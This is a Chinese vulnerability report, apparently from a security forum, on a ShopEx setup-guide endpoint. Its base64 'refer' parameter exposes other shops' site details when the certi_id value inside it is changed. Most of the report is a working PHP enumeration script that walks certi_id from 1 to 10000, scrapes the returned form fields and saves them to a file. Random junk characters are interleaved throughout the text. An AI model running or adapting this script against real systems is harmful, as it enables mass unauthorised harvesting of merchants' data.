ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
) w; u: x8 d6 @4 ~1 e8 p# _详细说明：
4 p( J: p! @* _4 B+ w$ F问题出现在shopex 网店使用向导页面
+ N. r+ }& e( J* |) c0 b% P/ E; [
% @, }6 \" s0 P/ j( U
( E2 K$ U2 W" y7 q
( b3 U  L+ ]1 t: {http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=


' N! q! Y( i: `- Z
' G3 c6 ]9 m8 e0 r7 v! f8 [  krefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
% |( h/ i2 h: f! ?


我们修改certi_id 即可遍历所有使用了ShopEx程序的网站

6 u6 s) ?! {- G4 E, Z7 V: L4 i
$ |% Y  i  g4 x0 m% [$ U  \
; x9 T% u% @5 b' C- G* ^' D) d<?php
/ t$ _/ f3 K, @9 S, {! f
                for ($i=1; $i < 10000; $i++) { //遍历

7 D1 A* @1 J# C( t5 z  K. m                        ShowshopExD($i);

1 d! L, y% J2 R                }
$ c2 e  P! H9 n
+ ]! h. n* Y  U% H7 Y6 o                function ShowshopExD($cid) {
; _; @. W: G6 h! `. Q! p
  z* U5 j1 d! x  l, f4 {                $url='http://guide.ecos.shopex.cn/step2.php';

9 \& P. Z+ h. o. K0 r& q                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

/ Y) c* {/ k3 ^1 A) z% C8 {( L, a        $url = $url.'?refer='.$refer;

0 J0 K$ u  g) b+ T) U1 L        $ch = curl_init($url);
# D1 l) t/ X# F! S3 |& f2 v9 [  d
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
  m" Y. j& K8 I6 C
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
+ I% |6 x) D5 e+ U& l8 J) D. y2 w
        $result = curl_exec($ch);

( ]2 [4 K0 F( t' r" M        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

6 y9 D+ I) N0 o0 ?+ j- G) e2 o* O  @! p        if(strpos($result,$refer))
* T$ d' h) T1 C5 h
/ s- k+ w, Q$ N& ~* Q% i        {

( T& X4 R/ w$ h) e6 K( ?5 ]1 h                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
8 y: d, y+ q5 f
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

                foreach ($value[1] as $key) {

8 W, T6 o4 ~9 f! ^                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
, b1 Z" U  Y9 N  D
                        echo $res[1][0].':'.$res[3][0]."\r\n";
* l0 n! I$ @) }
5 o3 f7 Y. R# a" z* b                        $col =$res[1][0].':'.$res[3][0]."\r\n";

                        fwrite($fp, $col, strlen($col));
5 D5 |8 v4 D( y( @% m' W" L1 }
                }

4 Y) U/ m+ W$ X  R                echo '--------------------------------'."\r\n";
8 q4 Y+ c* R+ m4 f0 x( J
                fclose($fp);
7 t% I* w. L) l* h
        }
1 z& `9 ]1 T7 f2 ~6 Y- Y
        flush();
/ {$ v: I! b& |* g  M! F' L
        curl_close($ch);

                }

?>
1 ?! v* s% `$ K5 s+ l漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式